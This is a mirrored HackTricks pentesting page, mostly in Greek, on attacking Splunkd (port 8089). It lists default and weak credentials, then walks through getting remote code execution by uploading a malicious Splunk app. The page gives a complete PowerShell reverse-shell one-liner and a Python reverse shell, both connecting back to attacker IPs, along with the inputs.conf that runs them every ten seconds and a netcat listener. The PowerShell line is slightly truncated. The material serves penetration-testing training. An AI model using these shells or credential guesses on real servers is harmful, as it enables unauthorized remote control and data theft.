mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
140 lines
12 KiB
Markdown
140 lines
12 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **Basic Information**
|
||
|
||
Το Splunk είναι ένα **εργαλείο ανάλυσης καταγραφών** που παίζει κρίσιμο ρόλο στη **συλλογή, ανάλυση και οπτικοποίηση δεδομένων**. Ενώ ο αρχικός του σκοπός δεν ήταν να λειτουργεί ως εργαλείο **SIEM (Διαχείριση Πληροφοριών και Συμβάντων Ασφαλείας)**, έχει αποκτήσει δημοτικότητα στον τομέα της **παρακολούθησης ασφάλειας** και της **επιχειρηματικής ανάλυσης**.
|
||
|
||
Οι αναπτύξεις του Splunk χρησιμοποιούνται συχνά για την αποθήκευση **ευαίσθητων δεδομένων** και μπορούν να χρησιμεύσουν ως **πολύτιμη πηγή πληροφοριών** για πιθανούς επιτιθέμενους αν καταφέρουν να παραβιάσουν το σύστημα. **Προεπιλεγμένη θύρα:** 8089
|
||
```
|
||
PORT STATE SERVICE VERSION
|
||
8089/tcp open http Splunkd httpd
|
||
```
|
||
{% hint style="info" %}
|
||
Ο **διακομιστής ιστού Splunk εκτελείται από προεπιλογή στη θύρα 8000**.
|
||
{% endhint %}
|
||
|
||
## Enumeration
|
||
|
||
### Free Version
|
||
|
||
Η δοκιμή του Splunk Enterprise μετατρέπεται σε **δωρεάν έκδοση μετά από 60 ημέρες**, η οποία **δεν απαιτεί αυθεντικοποίηση**. Δεν είναι ασυνήθιστο για τους διαχειριστές συστημάτων να εγκαθιστούν μια δοκιμή του Splunk για να το δοκιμάσουν, η οποία **στη συνέχεια ξεχνιέται**. Αυτό θα μετατραπεί αυτόματα στη δωρεάν έκδοση που δεν έχει καμία μορφή αυθεντικοποίησης, εισάγοντας μια τρύπα ασφαλείας στο περιβάλλον. Ορισμένες οργανώσεις μπορεί να επιλέξουν τη δωρεάν έκδοση λόγω περιορισμών προϋπολογισμού, χωρίς να κατανοούν πλήρως τις συνέπειες της έλλειψης διαχείρισης χρηστών/ρόλων.
|
||
|
||
### Default Credentials
|
||
|
||
Σε παλαιότερες εκδόσεις του Splunk, τα προεπιλεγμένα διαπιστευτήρια είναι **`admin:changeme`**, τα οποία εμφανίζονται βολικά στη σελίδα σύνδεσης.\
|
||
Ωστόσο, **η τελευταία έκδοση του Splunk** ορίζει **διαπιστευτήρια** **κατά τη διαδικασία εγκατάστασης**. Εάν τα προεπιλεγμένα διαπιστευτήρια δεν λειτουργούν, αξίζει να ελέγξετε για κοινές αδύναμες κωδικούς πρόσβασης όπως `admin`, `Welcome`, `Welcome1`, `Password123`, κ.λπ.
|
||
|
||
### Obtain Information
|
||
|
||
Αφού συνδεθούμε στο Splunk, μπορούμε να **περιηγηθούμε σε δεδομένα,** να εκτελέσουμε **αναφορές**, να δημιουργήσουμε **πίνακες ελέγχου**, **να εγκαταστήσουμε εφαρμογές** από τη βιβλιοθήκη Splunkbase και να εγκαταστήσουμε προσαρμοσμένες εφαρμογές.\
|
||
Μπορείτε επίσης να εκτελέσετε κώδικα: Το Splunk έχει πολλούς τρόπους **εκτέλεσης κώδικα**, όπως εφαρμογές Django server-side, REST endpoints, scripted inputs και alerting scripts. Μια κοινή μέθοδος για την απόκτηση απομακρυσμένης εκτέλεσης κώδικα σε έναν διακομιστή Splunk είναι μέσω της χρήσης ενός scripted input.
|
||
|
||
Επιπλέον, καθώς το Splunk μπορεί να εγκατασταθεί σε Windows ή Linux hosts, μπορούν να δημιουργηθούν scripted inputs για να εκτελούν Bash, PowerShell ή Batch scripts.
|
||
|
||
### Shodan
|
||
|
||
* `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### Create Custom Application
|
||
|
||
Μια προσαρμοσμένη εφαρμογή μπορεί να εκτελεί **Python, Batch, Bash ή PowerShell scripts**.\
|
||
Σημειώστε ότι **το Splunk έρχεται με εγκατεστημένο Python**, οπότε ακόμη και σε **συστήματα Windows** θα μπορείτε να εκτελείτε κώδικα python.
|
||
|
||
Μπορείτε να χρησιμοποιήσετε [**αυτό**](https://github.com/0xjpuff/reverse\_shell\_splunk) το πακέτο Splunk για να μας βοηθήσει. Ο **φάκελος `bin`** σε αυτό το repo έχει παραδείγματα για [Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) και [PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1). Ας προχωρήσουμε βήμα-βήμα.
|
||
|
||
Για να το επιτύχουμε αυτό, πρέπει πρώτα να δημιουργήσουμε μια προσαρμοσμένη εφαρμογή Splunk χρησιμοποιώντας την παρακάτω δομή φακέλων:
|
||
```shell-session
|
||
tree splunk_shell/
|
||
|
||
splunk_shell/
|
||
├── bin
|
||
└── default
|
||
```
|
||
Ο **`bin`** φάκελος θα περιέχει οποιαδήποτε **σενάρια που σκοπεύουμε να εκτελέσουμε** (σε αυτή την περίπτωση, ένα **PowerShell** reverse shell), και ο προεπιλεγμένος φάκελος θα έχει το αρχείο `inputs.conf` μας. Το reverse shell μας θα είναι ένα **PowerShell one-liner:**
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||
```
|
||
Το αρχείο [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf) λέει στο Splunk **ποιο σενάριο να εκτελέσει** και οποιεσδήποτε άλλες συνθήκες. Εδώ ρυθμίζουμε την εφαρμογή ως ενεργοποιημένη και λέμε στο Splunk να εκτελεί το σενάριο κάθε 10 δευτερόλεπτα. Η διάρκεια είναι πάντα σε δευτερόλεπτα, και η είσοδος (σενάριο) θα εκτελείται μόνο αν αυτή η ρύθμιση είναι παρούσα.
|
||
```shell-session
|
||
cat inputs.conf
|
||
|
||
[script://./bin/rev.py]
|
||
disabled = 0
|
||
interval = 10
|
||
sourcetype = shell
|
||
|
||
[script://.\bin\run.bat]
|
||
disabled = 0
|
||
sourcetype = shell
|
||
interval = 10
|
||
```
|
||
Χρειαζόμαστε το `.bat` αρχείο, το οποίο θα εκτελείται όταν αναπτυχθεί η εφαρμογή και θα εκτελεί την PowerShell one-liner.
|
||
|
||
Το επόμενο βήμα είναι να επιλέξουμε `Install app from file` και να ανεβάσουμε την εφαρμογή.
|
||
|
||
<figure><img src="../.gitbook/assets/image (668).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Πριν ανεβάσουμε την κακόβουλη προσαρμοσμένη εφαρμογή, ας ξεκινήσουμε έναν listener χρησιμοποιώντας το Netcat ή το [socat](https://linux.die.net/man/1/socat).
|
||
```shell-session
|
||
sudo nc -lnvp 443
|
||
|
||
listening on [any] 443 ...
|
||
```
|
||
Στη σελίδα `Upload app`, κάντε κλικ στο browse, επιλέξτε το tarball που δημιουργήσαμε νωρίτερα και κάντε κλικ στο `Upload`. Μόλις **ανεβάσουμε την εφαρμογή**, θα **λάβουμε ένα reverse shell** καθώς η κατάσταση της εφαρμογής θα αλλάξει αυτόματα σε `Enabled`.
|
||
|
||
#### Linux
|
||
|
||
Αν ασχολούμασταν με έναν **Linux host**, θα έπρεπε να **επεξεργαστούμε το σενάριο Python `rev.py`** πριν δημιουργήσουμε το tarball και ανεβάσουμε την προσαρμοσμένη κακόβουλη εφαρμογή. Η υπόλοιπη διαδικασία θα ήταν η ίδια, και θα αποκτούσαμε μια σύνδεση reverse shell στον ακροατή Netcat μας και θα ξεκινούσαμε.
|
||
```python
|
||
import sys,socket,os,pty
|
||
|
||
ip="10.10.14.15"
|
||
port="443"
|
||
s=socket.socket()
|
||
s.connect((ip,int(port)))
|
||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & Privilege Escalation
|
||
|
||
Στην παρακάτω σελίδα μπορείτε να βρείτε μια εξήγηση για το πώς αυτή η υπηρεσία μπορεί να καταχραστεί για να κλιμακώσει τα δικαιώματα και να αποκτήσει επιμονή:
|
||
|
||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||
{% endcontent-ref %}
|
||
|
||
## References
|
||
|
||
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|